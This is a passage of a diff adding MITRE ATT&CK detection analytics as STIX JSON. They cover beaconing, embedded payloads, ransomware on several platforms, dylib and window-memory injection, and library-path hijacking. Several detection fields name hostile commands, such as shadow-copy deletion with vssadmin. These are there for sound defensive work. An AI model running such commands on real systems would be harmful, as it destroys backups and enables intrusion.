+ "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0213#AN0596", + "external_id": "AN0596" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0596", + "description": "Adversary uses a process to establish outbound connections that transmit uniform packet sizes at a consistent interval, avoiding threshold-based network alerts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "NetFlow/sFlow/PCAP" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PacketSizeThreshold", + "description": "Minimum repetitive size in bytes to consider as anomalous behavior (e.g., 512B or 1024B)" + }, + { + "field": "IntervalRepeatWindow", + "description": "Timeframe over which repeated, evenly spaced transfers are flagged" + }, + { + "field": "KnownServicePorts", + "description": "Common ports expected to exhibit protocol behavior; outliers flagged if not matching expected usage" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4baad14d-46b1-4e96-9e2a-138ae4e3ec75", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0213#AN0597", + "external_id": "AN0597" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0597", + "description": "Outbound connections from non-network-facing processes repeatedly send similarly sized payloads within uniform time intervals.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "auditd:SYSCALL", + "channel": "connect/sendto" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Outbound Network Flow" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessNetworkBaseline", + "description": "Whitelist of typical binaries expected to generate outbound connections (e.g., wget, curl)" + }, + { + "field": "PayloadLengthVariance", + "description": "Deviation threshold to consider data 'fixed size' (e.g., \u00b15% size delta)" + }, + { + "field": "RepeatFrequencyThreshold", + "description": "Number of observed transfers per minute/hour that signals anomalous repetition" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d0edef63-9a98-4435-9f4b-2c577c7de41d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0213#AN0598", + "external_id": "AN0598" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0598", + "description": "Processes on macOS initiate external connections that consistently transmit data in fixed sizes using LaunchAgents or unexpected users.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:unifiedlog", + "channel": "com.apple.network" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_CONNECT" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LaunchdJobContext", + "description": "Agent context in which transfer occurs (e.g., user/privileged)" + }, + { + "field": "TransferSizeMedian", + "description": "Used to define what constitutes 'fixed size' chunks" + }, + { + "field": "TransferProtocolOutlier", + "description": "Detect if protocol usage deviates from common apps for given destination" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8f84fc52-ab74-443b-b618-aa1c0941377a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0214#AN0599", + "external_id": "AN0599" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0599", + "description": "Detection of executables or scripts containing hidden embedded resources or secondary payloads, often with anomalies in file size vs. functionality or dropped child binaries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "EDR:file", + "channel": "File Metadata Analysis (PE overlays, entropy)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "OverlaySizeThreshold", + "description": "Threshold in bytes where appended sections to binaries are considered suspicious" + }, + { + "field": "ProcessTreeDepth", + "description": "Controls how far child process lineage is analyzed for dropped embedded payloads" + }, + { + "field": "TimeWindow", + "description": "Defines correlation interval between file write and process execution" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--db9b55b0-7e54-4625-92d5-fbe9ed8ac868", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0214#AN0600", + "external_id": "AN0600" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0600", + "description": "Detection of shell scripts, ELF binaries, or archives containing embedded secondary payloads, self-extracting components, or unusual compression behavior during runtime.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "open, write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "linux:osquery", + "channel": "elf_info, hash, yara_matches" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "ebpf:syscalls", + "channel": "container_file_activity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FileSectionCount", + "description": "Tuning value for ELF binaries with appended sections or resources" + }, + { + "field": "ScriptLength", + "description": "Threshold for long shell scripts with base64-encoded binary content" + }, + { + "field": "ExtractedFileCount", + "description": "Number of files written from a single script execution" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8cd6ae3d-7f14-42bf-9aff-870209fc333f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0214#AN0601", + "external_id": "AN0601" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0601", + "description": "Detection of Mach-O binaries or AppleScripts that contain nested, encoded, or run-only embedded payloads dropped at runtime.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "logd:file write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "macos:osquery", + "channel": "mach_o_info, file_metadata" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptFormatType", + "description": "Run-only AppleScripts or signed scripting payloads may require scoped detection" + }, + { + "field": "DroppedBinaryCount", + "description": "Threshold on number of binaries created by the parent payload" + }, + { + "field": "ParentProcessName", + "description": "Allows focusing on suspicious interpreter or staging tools" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1155df11-eee4-4fdf-a354-15eda0e90d4c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0215#AN0602", + "external_id": "AN0602" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0602", + "description": "High-frequency file write operations using uncommon extensions, followed by ransom note creation, registry tampering, or shadow copy deletion. Often uses CLI tools like vssadmin, wbadmin, cipher, or PowerShell.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Sysmon", + "channel": "EvenCode=2" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FileExtension", + "description": "Non-standard or randomly generated file extensions may indicate encrypted content." + }, + { + "field": "TargetFolder", + "description": "Focus on user document folders, network shares, or system paths like %System32%." + }, + { + "field": "TimeWindow", + "description": "Correlate rapid writes and renames within seconds across high file count." + }, + { + "field": "CommandLine", + "description": "Flag common ransomware tools or functions (vssadmin delete shadows /all /quiet)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b2f444b1-e434-40e1-9501-6b66a05a0201", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0215#AN0603", + "external_id": "AN0603" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0603", + "description": "Encryption via custom or open-source tools (e.g., openssl, gpg, aescrypt) recursively targeting user or system directories. Also includes overwrite of existing data and ransom note drops.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "openat, write, rename, unlink" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FilenamePattern", + "description": "Look for creation of ransom note files (e.g., READ_ME.txt, HELP_DECRYPT.html)." + }, + { + "field": "SyscallBurstRate", + "description": "High write/open/unlink activity in short intervals indicates encryption attempts." + }, + { + "field": "DirectoryTargeted", + "description": "Correlate activity in /home, /etc, /opt, or mounted volumes." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3b18d20b-94c7-41e7-8f82-99148945a74f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0215#AN0604", + "external_id": "AN0604" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0604", + "description": "Userland or kernel-level ransomware encrypting user files (Documents, Desktop) using `srm`, `gpg`, or compiled payloads. Often correlated with ransom note creation in multiple directories.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "file encrypted|new file with .encrypted extension|disk write burst" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "exec srm|exec openssl|exec gpg" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExtensionPattern", + "description": "Encrypted files may use .locked, .enc, or ransom-specific extensions." + }, + { + "field": "VolumeTargeted", + "description": "Detect activity targeting mounted external or backup volumes." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--203586e5-e178-4d41-bbae-93a86f04977b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0215#AN0605", + "external_id": "AN0605" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0605", + "description": "Ransomware encrypts .vmdk, .vmx, .log, or VM config files in VMFS datastores. May rename to .locked or delete/overwrite with encrypted versions. Often correlates with shell commands run through `dcui`, SSH, or vSphere.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "esxi:vmkernel", + "channel": "rename .vmdk to .*.locked|datastore write spike" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:shell", + "channel": "openssl|tar|dd" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FileType", + "description": "Detect renames or write patterns involving .vmdk, .vmx, .nvram." + }, + { + "field": "UserContext", + "description": "Identify shell sessions opened by root or unexpected users outside maintenance window." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--57d8fd27-9af5-4d01-9d1a-fdde8ec0c902", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0215#AN0606", + "external_id": "AN0606" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0606", + "description": "Encryption of cloud storage objects (e.g., S3 buckets) via Server-Side Encryption (SSE-C) or by replacing objects with encrypted variants. May include API patterns like PutObject with SSE-C headers.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--45977f14-1bcc-4ec4-ac14-a30fd3a11f44", + "name": "AWS:CloudTrail", + "channel": "PutObject (with SSE-C), UploadPart (SSE-C)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SSEHeader", + "description": "SSE-C headers indicate attacker-controlled encryption keys." + }, + { + "field": "AffectedBucket", + "description": "Prioritize logs, backups, or shared document storage buckets." + }, + { + "field": "UserAgent", + "description": "Detect scripted automation vs console-based API behavior." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7aaf568b-bc31-4fb0-8543-12ee281a0b85", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0216#AN0607", + "external_id": "AN0607" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0607", + "description": "Detection focuses on unauthorized modification of Mach-O binaries to include LC_LOAD_DYLIB headers pointing to malicious dylibs. Behavior is identified via a chain of file metadata changes, removal of code signatures, and subsequent anomalous dylib loads at runtime. Correlation of file changes with lack of authorized updates and process memory mapping of unrecognized or unsigned libraries is crucial.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "macos:unifiedlog", + "channel": "Process memory maps new dylib (dylib_load event)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "Mach-O binary modified or LC_LOAD_DYLIB segment inserted" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "macos:unifiedlog", + "channel": "Code signature validation fails or is absent post-binary modification" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlates binary modification and dylib load within a defined time interval (e.g., 1 hour)" + }, + { + "field": "DylibPathRegex", + "description": "Regular expression to match known malicious or uncommon library paths" + }, + { + "field": "UnsignedDylibThreshold", + "description": "Number of unsigned or unrecognized dylibs mapped into memory per process" + }, + { + "field": "UserContext", + "description": "Scope monitoring to non-admin users or sensitive system directories" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6ec034ac-289d-48d1-b310-021dfbf7087b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0217#AN0608", + "external_id": "AN0608" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0608", + "description": "Detects adversary manipulation of Extra Window Memory (EWM) in a GUI process, where the attacker uses SetWindowLong or SetClassLong to redirect function pointers to injected shellcode stored in shared memory, then triggers execution via a window message like SendNotifyMessage.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "etw:Microsoft-Windows-Win32k", + "channel": "SetWindowLong, SetClassLong, NtUserMessageCall, SendNotifyMessage, PostMessage" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetWindowClassRegex", + "description": "Regex to scope suspicious or uncommon GUI class names registered by user-created processes" + }, + { + "field": "ExecutionTriggerWindowMessage", + "description": "API calls like SendNotifyMessage or PostMessage that deliver execution to the shellcode location" + }, + { + "field": "SharedSectionWriteThreshold", + "description": "Set byte count thresholds on suspicious memory writes to known shared sections" + }, + { + "field": "TimeWindowSetWindowLongToMessageTrigger", + "description": "Define max time (e.g., <10s) between API call to set window memory and the message call to trigger it" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--248be939-35f5-4c8a-9e21-b6de514da577", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0218#AN0609", + "external_id": "AN0609" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0609", + "description": "Unusual modifications to service binary paths, registry keys, or DLL load paths resulting in alternate execution flow. Defender observes registry key modifications, suspicious file writes into system directories, and processes loading libraries from abnormal paths.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServiceBaseline", + "description": "Expected registry keys and service paths for comparison." + }, + { + "field": "AllowedDllPaths", + "description": "Directories considered valid for DLL loading." + }, + { + "field": "TimeWindow", + "description": "Correlation interval between registry/file modification and process execution." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e21542c4-8df8-4c9e-8b1d-2c9bbe058386", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0218#AN0610", + "external_id": "AN0610" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0610", + "description": "Adversary manipulation of shared library paths, environment variables, or replacement of service binaries. Defender observes suspicious modifications in /etc/ld.so.preload, service config changes, or file writes replacing existing executables.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "open/write syscalls targeting /etc/ld.so.preload or binaries in /usr/bin" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", + "name": "linux:syslog", + "channel": "Service restart with modified executable path" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "linux:osquery", + "channel": "Process execution with LD_PRELOAD or modified library path" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredDirectories", + "description": "Directories where binary replacement should trigger alerts." + }, + { + "field": "EnvVarMonitors", + "description": "Environment variables like LD_PRELOAD or PATH to monitor." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e8fc16bf-6654-4912-96c9-208e4c5bbaa6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0218#AN0611", + "external_id": "AN0611" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0611", + "description": "Abuse of DYLD_INSERT_LIBRARIES or hijacking framework paths for malicious libraries. Defender observes processes invoking abnormal dylibs, modified plist files, or persistence entries pointing to altered binaries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of process with DYLD_INSERT_LIBRARIES set" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "Modified application plist or binary replacement in /Applications" + }, + { + "x_mitre_data_component_ref": 